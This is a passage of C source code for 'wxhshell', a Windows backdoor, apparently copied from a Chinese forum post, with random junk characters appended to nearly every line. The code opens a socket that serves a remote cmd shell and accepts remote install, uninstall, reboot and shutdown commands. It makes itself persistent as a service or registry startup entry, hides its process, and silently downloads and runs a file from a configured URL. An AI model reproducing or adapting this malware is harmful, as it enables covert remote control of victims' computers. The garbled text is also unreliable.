  =}fd6ea(o  
  // 帮助 @C-dG7U.P  
  case '?': { R,!Q Zxmg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); daAyx-  
    break; TfZ6F8|B  
  } MZSxQ8  
  // 安装 Ti;Ijcq8  
  case 'i': { fKa\7{R  
    if(Install()) xg{HQQ|TC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?|* LT$%7  
    else -(JUd4#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {,j6\Cj4  
    break; Pe~`16f  
    } k)FmDX  
  // 卸载 kF V7l  
  case 'r': { LDy<k=;o  
    if(Uninstall()) Zx?b<"k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6ZqgY1  
    else 0gF!!m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cM&'[CI  
    break; HT_TP q  
    } Y/8K;U|  
  // 显示 wxhshell 所在路径 [$(R#tZ+  
  case 'p': { cQZ652F9  
    char svExeFile[MAX_PATH]; $\Tkhq<  
    strcpy(svExeFile,"\n\r"); VnJMmMM  
      strcat(svExeFile,ExeFile); "x&C5l}n  
        send(wsh,svExeFile,strlen(svExeFile),0); z&3]%t `C  
    break; 1(GHCxA8G  
    } ^yKY'>T#d  
  // 重启 y9;#1:ic  
  case 'b': { qJT0Y/l:(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j%*7feSNC  
    if(Boot(REBOOT)) Y &r]lD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h#Ce_,o  
    else { Cw,D{  
    closesocket(wsh); h:Ndzp{  
    ExitThread(0); /=#~  
    } !m{2WW-  
    break; 9-bG<`v\E  
    } H.O(*Q=  
  // 关机 [H"#7t.V-~  
  case 'd': { )Z@-DA*Q-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g "!\\:M  
    if(Boot(SHUTDOWN)) -lRhz!E]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L$Z(+6m5  
    else { qMS}t3X  
    closesocket(wsh); _b4fS'[  
    ExitThread(0); ; a/cty0Ch  
    } jlKGXD)Q[  
    break; c 8QnN:n  
    } EH+~].PJd  
  // 获取shell '3kcD7  
  case 's': { MdhT!?  
    CmdShell(wsh); R/<=mZ  
    closesocket(wsh); $)e:8jS=  
    ExitThread(0);  td(M#a-  
    break; VKLU0*2R  
  } ~j,TVY  
  // 退出 C'9 1d7E  
  case 'x': { +3bfD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ? Ekq6uz\)  
    CloseIt(wsh); H^CilwD158  
    break; {B yn{?w  
    } '%3{jc-}  
  // 离开 LnMwx#^*  
  case 'q': { ,\h YEup  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _Nu` )m  
    closesocket(wsh); I Ru$oF}  
    WSACleanup(); }NX\~S"  
    exit(1); liNON  
    break; Q.(51]'  
        } u5gZxO1J5  
  } 2A$0CUMb  
  } ~2N-k1'-'  
"L~@.W!@  
  // 提示信息 ^[M~K5Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hrM"Zg  
} 5(}H ?  
  } d7bjbJwu  
= ?N^>zie  
  return; z=?0)e(H,  
} &R\XUxI  
6hbEO-(  
// shell模块句柄 C"T ,MH  
int CmdShell(SOCKET sock) '}O!2W&Y]%  
{ PF ;YE6  
STARTUPINFO si; |qL;Nu,d  
ZeroMemory(&si,sizeof(si)); FH n,]Tfx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^L~ [+|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o?R,0 -  
PROCESS_INFORMATION ProcessInfo; Ry%YM,K3  
char cmdline[]="cmd"; <J#R3{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gv` h-b  
  return 0; |z7dRDU}]  
} c=t*I0-OVS  
8D~Dd!~P  
// 自身启动模式 &y3B)#dIJ  
int StartFromService(void)  $o+&Y5:  
{ `p"U  
typedef struct CSL4P)  
{ *!u?  
  DWORD ExitStatus; Rc7.M"wzjX  
  DWORD PebBaseAddress; mahi7eU P  
  DWORD AffinityMask; m0iV m|  
  DWORD BasePriority; x[m'FsR4  
  ULONG UniqueProcessId; T^.{9F]*S  
  ULONG InheritedFromUniqueProcessId; $wXih#7  
}   PROCESS_BASIC_INFORMATION; fle0c^=  
\2eFpy(  
PROCNTQSIP NtQueryInformationProcess;  'O1.6*K  
)n7)}xy#z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'o8\`\'H!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gt.*_E  
|7S:l9;  
  HANDLE             hProcess; F9D"kG;Dk  
  PROCESS_BASIC_INFORMATION pbi; xhD$e= g  
?HxS)Pqq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [xS5z1;  
  if(NULL == hInst ) return 0; JE%i-UVH+;  
l_sg)Vr/b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v=bv@c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZmO' IT=Ye  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wL|7mMM,  
Cs;<'[_?YO  
  if (!NtQueryInformationProcess) return 0; NQ3|\<Wt  
i~AJ.@ #  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AuM:2N2  
  if(!hProcess) return 0; L(Rorf~V  
~g96o81V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?',}? {"c  
Gm*Uv6?H?  
  CloseHandle(hProcess); D;yd{]<  
R]fYe#!"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dpp@*xX>  
if(hProcess==NULL) return 0; @>9A$w$H|a  
v*gLNB,ZH  
HMODULE hMod; H.;yLL=  
char procName[255]; c( 8W8R  
unsigned long cbNeeded; k%a?SU<f  
x_pMG!2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;op'V6iG  
_PdAN= C3  
  CloseHandle(hProcess); 1uj05aZh}  
c; d"XiA  
if(strstr(procName,"services")) return 1; // 以服务启动 $u- lo|  
1o)=GV1  
  return 0; // 注册表启动 )muv;Rf`e5  
} ees^O{ 8  
R=DPeUy;  
// 主模块 8ST~$!z$  
int StartWxhshell(LPSTR lpCmdLine) |7Yvq%E  
{ \Qb>:  
  SOCKET wsl; s2%0#6c'c  
BOOL val=TRUE; n+S&!PB  
  int port=0; %`N&ti  
  struct sockaddr_in door; iPJ9Gh7  
^$?7H>=_ha  
  if(wscfg.ws_autoins) Install(); > fhSaeN  
Wpa$B )xg  
port=atoi(lpCmdLine); EsNk<Ra  
PH{ c,  
if(port<=0) port=wscfg.ws_port; 4jPwL|#  
{K6Kx36  
  WSADATA data; z4 nou>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >cSi/a,L  
$R3.yX=[\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T=O l`?5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2@OBeR  
  door.sin_family = AF_INET; `,Q<YT ~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ] +sSg=N7i  
  door.sin_port = htons(port); >dcqPNDg1^  
\_)02ZT:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]r]+yM|  
closesocket(wsl); la1D2 lM  
return 1; MH2OqiCI  
} fa/P%9db  
C!oksI  
  if(listen(wsl,2) == INVALID_SOCKET) { RbyF#[}  
closesocket(wsl); |^\ Hv5  
return 1; ``/y=k/au  
} ?cA8P.?^A  
  Wxhshell(wsl); aslNlH6  
  WSACleanup(); _g^E%@'W  
Rs^jk)Z:)  
return 0; "o~N42DLB%  
D'Jm!Ap  
} `8qT['`#R  
20S9/9ll  
// 以NT服务方式启动 ;N9n'Sq4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _-YL!oP  
{ @5JLjCN  
DWORD   status = 0; c4S>_qH  
  DWORD   specificError = 0xfffffff; o x03c   
-(|7`U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qj{$dqmDN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `mh-pBVD1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q;d+]xj  
  serviceStatus.dwWin32ExitCode     = 0; H ,01o5J  
  serviceStatus.dwServiceSpecificExitCode = 0; j P{:A9T\  
  serviceStatus.dwCheckPoint       = 0; dY48S{  
  serviceStatus.dwWaitHint       = 0; uVoF<={  
i,C0o   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?nj"Ptzs  
  if (hServiceStatusHandle==0) return; + 6i7,U  
MLEIx()  
status = GetLastError(); JuKk"tr~RB  
  if (status!=NO_ERROR) #3AYz82w  
{ w+URCj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K*J4&5?/  
    serviceStatus.dwCheckPoint       = 0; dVjcK/T<  
    serviceStatus.dwWaitHint       = 0; 8N</Yi|n  
    serviceStatus.dwWin32ExitCode     = status; >;T$#LZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; _3-RoA'UZr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YqK+F=0  
    return; -PIA;#Gs  
  } B Lsdx }  
HMl!?%%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iqc4O /  
  serviceStatus.dwCheckPoint       = 0; )M&I)In'  
  serviceStatus.dwWaitHint       = 0; *B)Jv9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v^FV t  
} O?+tY y?  
mgJ]@s}9  
// 处理NT服务事件,比如:启动、停止 V NJDl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P':]A{<Z  
{ ^59YfC<f  
switch(fdwControl) [esX{6,i  
{ `[g# Mxw  
case SERVICE_CONTROL_STOP: N{0+C?{_  
  serviceStatus.dwWin32ExitCode = 0; )VV4HoH]8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \.XT:B_  
  serviceStatus.dwCheckPoint   = 0; "W3n BaG  
  serviceStatus.dwWaitHint     = 0; '=Ip5A{S/  
  { cQUH%7m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uM}dZp 1  
  } J,(U<%n  
  return; u(TgWp5WF  
case SERVICE_CONTROL_PAUSE: 0%q{UW2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^=heen<S%  
  break; [<@A8Q5,y  
case SERVICE_CONTROL_CONTINUE: 8\W3Fv Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6qmo ZAg  
  break; 71}L# nQ  
case SERVICE_CONTROL_INTERROGATE: F|h ,a;2  
  break; TYmUPS$  
}; f0N)N}y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q KDb  
} c)n0D=  
6@,'m  
// 标准应用程序主函数 Q T0IW(A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6cgpg+-a  
{ d=c1WK  
P_^ |KEz  
// 获取操作系统版本 /S2p``E+  
OsIsNt=GetOsVer(); ~Q{[fy=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !)l%EJngL  
z_[ 3IAZ  
  // 从命令行安装 hhh: rmEZl  
  if(strpbrk(lpCmdLine,"iI")) Install(); af`f*{Co3  
0qotC6l~_w  
  // 下载执行文件 f"Vm'0r  
if(wscfg.ws_downexe) { b@Mng6R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zd*W5~xKg  
  WinExec(wscfg.ws_filenam,SW_HIDE); nJM9c[Ou^H  
} y<Z#my$`|n  
(dGM;Dq8  
if(!OsIsNt) { >uqS  
// 如果时win9x,隐藏进程并且设置为注册表启动 L`VQ{|&3V  
HideProc(); R fVV(X  
StartWxhshell(lpCmdLine); hBYh90]  
} ,sRrV $,"  
else O. .@<.  
  if(StartFromService()) ~[ ks|  
  // 以服务方式启动 BSq;R G(  
  StartServiceCtrlDispatcher(DispatchTable); `hQ!*f6  
else }GU6Q|s[u[  
  // 普通方式启动 sQ3ayB`  
  StartWxhshell(lpCmdLine); S:B- nI  
ngH~4HyT  
return 0; c?3F9 w#  
}
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只看该作者 1 发表于: 2006-10-10
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